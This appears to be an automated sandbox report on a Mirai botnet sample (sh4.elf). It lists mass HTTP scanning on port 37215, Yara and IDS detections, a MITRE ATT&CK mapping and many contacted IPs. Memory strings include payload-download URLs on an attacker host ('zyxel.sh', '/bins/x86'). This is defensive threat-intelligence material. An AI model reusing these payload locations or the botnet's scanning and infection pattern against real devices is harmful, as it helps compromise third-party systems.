Source: unknown	Network traffic detected: HTTP traffic on port 39624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53266 -> 37215

Source: /tmp/sh4.elf (PID: 5523)

Queries kernel information via 'uname':

Jump to behavior

Source: sh4.elf, 5525.1.0000560cc8f7e000.0000560cc8f9e000.rw-.sdmp, sh4.elf, 5683.1.0000560cc8f7e000.0000560cc8f9e000.rw-.sdmp, sh4.elf, 5706.1.0000560cc8f7e000.0000560cc8f9e000.rw-.sdmp, sh4.elf, 5698.1.0000560cc8f7e000.0000560cc8f9e000.rw-.sdmp	Binary or memory string: V/sh4/ro10 /usr/bin/qemu-sh4!/proc/802/fd/281/proc/1/fd/24/sh4/ro10!/proc/5528/exe0!/proc/802/fd/291p
Source: sh4.elf, 5523.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5525.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5525.1.0000560cc8f7e000.0000560cc8f9e000.rw-.sdmp, sh4.elf, 5683.1.0000560cc8f7e000.0000560cc8f9e000.rw-.sdmp, sh4.elf, 5683.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5706.1.0000560cc8f7e000.0000560cc8f9e000.rw-.sdmp, sh4.elf, 5706.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5698.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5698.1.0000560cc8f7e000.0000560cc8f9e000.rw-.sdmp, sh4.elf, 5526.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5528.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5531.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5532.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5534.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5540.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5541.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: sh4.elf, 5698.1.0000560cc8f7e000.0000560cc8f9e000.rw-.sdmp	Binary or memory string: /usr/bin/vmtoolsd
Source: sh4.elf, 5523.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5525.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5683.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5706.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5698.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5526.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5528.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5531.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5532.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5534.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5540.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5541.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4
Source: sh4.elf, 5525.1.0000560cc8f7e000.0000560cc8f9e000.rw-.sdmp	Binary or memory string: V/sh4/0 /proc/490/fd/38!/proc/779/fd/./sh4/pro1/usr/bin/vmtoolsdh4/0!/proc/490/fd/39!/proc/779/fdV/sh4/pro1U
Source: sh4.elf, 5523.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5525.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5683.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5706.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5698.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5526.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5528.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5531.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5532.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5534.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5540.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp, sh4.elf, 5541.1.00007ffe6cf10000.00007ffe6cf31000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sh4.elf
Source: sh4.elf, 5523.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5525.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5683.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5706.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5698.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5526.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5528.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5531.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5532.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5534.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5540.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp, sh4.elf, 5541.1.0000560cc8f1b000.0000560cc8f7e000.rw-.sdmp	Binary or memory string: V5!/etc/qemu-binfmt/sh4
Source: sh4.elf, 5698.1.0000560cc8f7e000.0000560cc8f9e000.rw-.sdmp	Binary or memory string: V!/proc/490/fd/38!/proc/779/fd/./sh4/pro1/usr/bin/vmtoolsdh4/0!/proc/490/fd/39!/proc/779/fdV/sh4/pro1

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: sh4.elf, type: SAMPLE
Source: Yara match	File source: 5540.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5531.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5523.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5541.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5534.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5706.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5532.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5525.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5683.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5528.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5526.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5698.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5523, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5525, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5526, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5531, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5534, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5540, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5541, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5683, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5706, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Mirai

Source: Yara match	File source: sh4.elf, type: SAMPLE
Source: Yara match	File source: 5540.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5531.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5523.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5541.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5534.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5706.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5532.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5525.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5683.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5528.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5526.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5698.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5523, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5525, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5526, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5531, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5534, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5540, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5541, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5683, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5706, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
sh4.elf	63%	Virustotal		Browse
sh4.elf	66%	ReversingLabs	Linux.Trojan.Mirai
sh4.elf	100%	Avira	EXP/ELF.Mirai.Bootnet.o

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://192.168.0.14:80/cgi-bin/ViewLog.asp	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://193.239.147.201/zyxel.sh;	sh4.elf	false	high
http://193.239.147.201/bins/x86	sh4.elf	false	high
http://schemas.xmlsoap.org/soap/encoding/	sh4.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	sh4.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
85.97.99.156	unknown	Turkey	9121	TTNETTR	false
31.36.92.71	unknown	France	5410	BOUYGTEL-ISPFR	false
85.33.215.223	unknown	Italy	3269	ASN-IBSNAZIT	false
85.14.7.227	unknown	Bulgaria	200533	INITLABBG	false
88.242.96.202	unknown	Turkey	9121	TTNETTR	false
94.150.243.167	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
62.161.114.237	unknown	France	3215	FranceTelecom-OrangeFR	false
31.134.158.120	unknown	Russian Federation	42668	NEVALINK-ASRU	false
85.21.105.62	unknown	Russian Federation	29125	TATINT-ASRU	false
94.6.4.184	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
85.127.123.117	unknown	Austria	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
189.151.224.41	unknown	Mexico	8151	UninetSAdeCVMX	false
94.174.138.239	unknown	United Kingdom	5089	NTLGB	false
71.43.252.155	unknown	United States	33363	BHN-33363US	false
94.122.78.73	unknown	Turkey	12978	DOGAN-ONLINETR	false
95.38.211.226	unknown	Iran (ISLAMIC Republic Of)	41881	FANAVA-ASFanavaGroupCommunicationCoIR	false
85.168.96.22	unknown	France	21502	ASN-NUMERICABLEFR	false
85.228.7.105	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false
94.216.58.58	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
157.215.239.66	unknown	United States	4704	SANNETRakutenMobileIncJP	false
31.97.46.17	unknown	United Kingdom	12576	EELtdGB	false
31.136.150.21	unknown	Netherlands	15480	VFNL-ASVodafoneNLAutonomousSystemNL	false
157.214.103.170	unknown	United States	4704	SANNETRakutenMobileIncJP	false
173.103.11.92	unknown	United States	1239	SPRINTLINKUS	false
85.111.154.191	unknown	Turkey	9121	TTNETTR	false
24.148.231.228	unknown	United States	11426	TWC-11426-CAROLINASUS	false
95.8.187.98	unknown	Turkey	9121	TTNETTR	false
59.108.59.51	unknown	China	18245	FOUNDERBNCNNICCN	false
31.194.100.198	unknown	Italy	3269	ASN-IBSNAZIT	false
193.154.197.156	unknown	Austria	1901	EUNETAT-ASA1TelekomAustriaAGAT	false
119.49.253.34	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
109.208.19.16	unknown	France	3215	FranceTelecom-OrangeFR	false
85.25.248.105	unknown	Germany	8972	GD-EMEA-DC-SXB1DE	false
92.49.241.190	unknown	Kazakhstan	21299	KAR-TEL-ASAlmatyRepublicofKazakhstanKZ	false
31.163.215.130	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
41.239.218.24	unknown	Egypt	8452	TE-ASTE-ASEG	false
31.127.110.217	unknown	United Kingdom	12576	EELtdGB	false
95.205.130.90	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
19.182.36.98	unknown	United States	3	MIT-GATEWAYSUS	false
62.245.191.250	unknown	Germany	8767	MNET-ASGermanyDE	false
85.100.28.138	unknown	Turkey	9121	TTNETTR	false
221.13.21.145	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
94.11.230.130	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
62.69.168.218	unknown	Finland	59766	ASWICITYIT	false
112.160.188.211	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
212.171.82.120	unknown	Italy	3269	ASN-IBSNAZIT	false
62.243.140.219	unknown	Denmark	3292	TDCTDCASDK	false
85.212.189.68	unknown	Germany	12312	ECOTELDE	false
77.30.231.72	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
206.163.104.113	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
47.96.135.226	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
85.4.129.122	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
94.7.176.233	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
31.58.18.164	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	false
31.238.199.211	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
94.225.132.62	unknown	Belgium	6848	TELENET-ASBE	false
53.59.108.250	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
62.246.7.51	unknown	Germany	12312	ECOTELDE	false
155.243.245.225	unknown	United States	11845	Vox-TelecomZA	false
95.55.190.160	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
94.104.10.250	unknown	Belgium	47377	ORANGE_BELGIUM_SAKPNBelgiumBusinessNVhasbeenacquired	false
62.53.240.222	unknown	Germany	6805	TDDE-ASN1DE	false
95.214.171.212	unknown	Germany	398083	TING-WIRELESSUS	false
157.22.26.195	unknown	United States	7091	VIANET-ASNUS	false
62.98.225.214	unknown	Italy	1267	ASN-WINDTREIUNETEU	false
182.185.122.229	unknown	Pakistan	45595	PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	false
157.188.96.174	unknown	United States	22252	AS22252US	false
112.249.78.50	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
58.223.75.188	unknown	China	137697	CHINATELECOM-JIANGSU-YANGZHOU-IDCCHINATELECOMJiangSuYangZ	false
95.7.215.145	unknown	Turkey	9121	TTNETTR	false
112.180.205.196	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
222.222.217.56	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
31.192.179.215	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
85.71.136.71	unknown	Czech Republic	5610	O2-CZECH-REPUBLICCZ	false
95.137.230.222	unknown	Georgia	34797	SYSTEM-NETGE	false
62.138.132.180	unknown	Germany	8972	GD-EMEA-DC-SXB1DE	false
31.143.175.38	unknown	Turkey	16135	TURKCELL-ASTurkcellASTR	false
88.28.179.165	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
85.226.77.23	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false
94.194.198.156	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
85.71.136.84	unknown	Czech Republic	5610	O2-CZECH-REPUBLICCZ	false
192.19.217.92	unknown	United States	19637	AVG19637US	false
149.44.241.38	unknown	United States	174	COGENT-174US	false
31.57.182.51	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	false
95.79.225.185	unknown	Russian Federation	42682	ERTH-NNOV-ASRU	false
94.159.123.202	unknown	Russian Federation	49531	NETCOM-R-ASRU	false
94.159.123.203	unknown	Russian Federation	49531	NETCOM-R-ASRU	false
95.118.119.245	unknown	Germany	6805	TDDE-ASN1DE	false
211.6.111.38	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
31.192.179.225	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
190.146.201.63	unknown	Colombia	10620	TelmexColombiaSACO	false
111.92.200.184	unknown	Singapore	45814	FARIYA-PKFariyaNetworksPvtLtdPK	false
95.7.215.151	unknown	Turkey	9121	TTNETTR	false
94.207.100.156	unknown	United Arab Emirates	15802	DU-AS1AE	false
175.178.176.107	unknown	China	10139	SMARTBRO-PH-APSmartBroadbandIncPH	false
62.132.169.28	unknown	Germany	286	KPNNL	false
62.141.160.95	unknown	Germany	20588	FVBDE	false
102.122.178.184	unknown	Sudan	36972	MTNSD	false
85.15.218.199	unknown	Latvia	29600	LATVENERGO-ASVentspilsstreet56-58LV-1046LV	false
85.209.47.145	unknown	Ukraine	209825	IBNETUA	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
85.127.123.117	3ZCVTnKE2z.elf	Get hash	malicious	Mirai	Browse
85.127.123.117	ynhA6iNyI5	Get hash	malicious	Mirai	Browse
85.97.99.156	LfI5pQnZBu.elf	Get hash	malicious	Mirai	Browse
85.97.99.156	UnHAnaAW.x86	Get hash	malicious	Mirai	Browse
31.36.92.71	mips-20221110-2252.elf	Get hash	malicious	Mirai	Browse
	ynhA6iNyI5	Get hash	malicious	Mirai	Browse
	UnHAnaAW.arm7	Get hash	malicious	Mirai	Browse
85.14.7.227	sy5SSzKioP	Get hash	malicious	Mirai	Browse
94.150.243.167	ZVNv8MWhkI	Get hash	malicious	Mirai	Browse
62.161.114.237	aYlPjjl4yW	Get hash	malicious	Mirai	Browse
	6zJcSXYlJo	Get hash	malicious	Mirai	Browse
	bZh282hgN7	Get hash	malicious	Mirai	Browse
31.134.158.120	XP3V62wHRH.elf	Get hash	malicious	Mirai	Browse
	Q3jtQx8g8i.elf	Get hash	malicious	Mirai	Browse
	BJ3OxANon4	Get hash	malicious	Mirai	Browse
	U65Bd99dza	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	mpsl.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	x86.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	.i.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	sh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	spc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	na.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	na.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	na.elf	Get hash	malicious	Mirai	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BOUYGTEL-ISPFR	x86.elf	Get hash	malicious	Mirai	Browse	31.38.6.162
	z3hir.x86	Get hash	malicious	Mirai	Browse	89.85.81.146
	Hilix.ppc.elf	Get hash	malicious	Unknown	Browse	176.134.119.83
	Hilix.x86.elf	Get hash	malicious	Unknown	Browse	89.87.195.181
	Hilix.arm7.elf	Get hash	malicious	Mirai	Browse	176.143.136.159
	Hilix.m68k.elf	Get hash	malicious	Unknown	Browse	80.214.115.85
	res.arm5.elf	Get hash	malicious	Unknown	Browse	89.85.144.165
	res.mpsl.elf	Get hash	malicious	Unknown	Browse	195.36.139.14
	res.mips.elf	Get hash	malicious	Unknown	Browse	176.133.190.152
	armv4l.elf	Get hash	malicious	Unknown	Browse	176.144.160.7
ASN-IBSNAZIT	mips.elf	Get hash	malicious	Mirai	Browse	94.84.106.229
	m68k.elf	Get hash	malicious	Mirai	Browse	62.110.19.16
	mpsl.elf	Get hash	malicious	Mirai	Browse	94.94.136.201
	x86.elf	Get hash	malicious	Mirai	Browse	95.229.249.236
	arm.elf	Get hash	malicious	Mirai	Browse	95.241.7.253
	zte	Get hash	malicious	Unknown	Browse	79.47.158.67
	Hilix.mips.elf	Get hash	malicious	Unknown	Browse	80.182.13.151
	Hilix.x86.elf	Get hash	malicious	Unknown	Browse	95.227.158.128
	Hilix.arm7.elf	Get hash	malicious	Mirai	Browse	79.48.47.20
	Hilix.spc.elf	Get hash	malicious	Unknown	Browse	5.99.75.132
INITLABBG	jackmyx86.elf	Get hash	malicious	Mirai	Browse	85.14.7.232
	belks.arm.elf	Get hash	malicious	Mirai	Browse	85.14.7.222
	ai3eCONS9Q.elf	Get hash	malicious	Mirai	Browse	85.14.7.240
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	85.14.7.232
	bot_library.exe	Get hash	malicious	Unknown	Browse	185.117.82.68
	bot_library.exe	Get hash	malicious	Unknown	Browse	185.117.82.68
	65JGmWM4CW.elf	Get hash	malicious	Mirai	Browse	85.14.7.221
	6T1S0q3QLa.elf	Get hash	malicious	Mirai	Browse	85.14.7.249
	KE4cyjDEDO.elf	Get hash	malicious	Mirai	Browse	85.14.7.255
	EYhvUxUIsT.elf	Get hash	malicious	Mirai	Browse	85.14.7.234
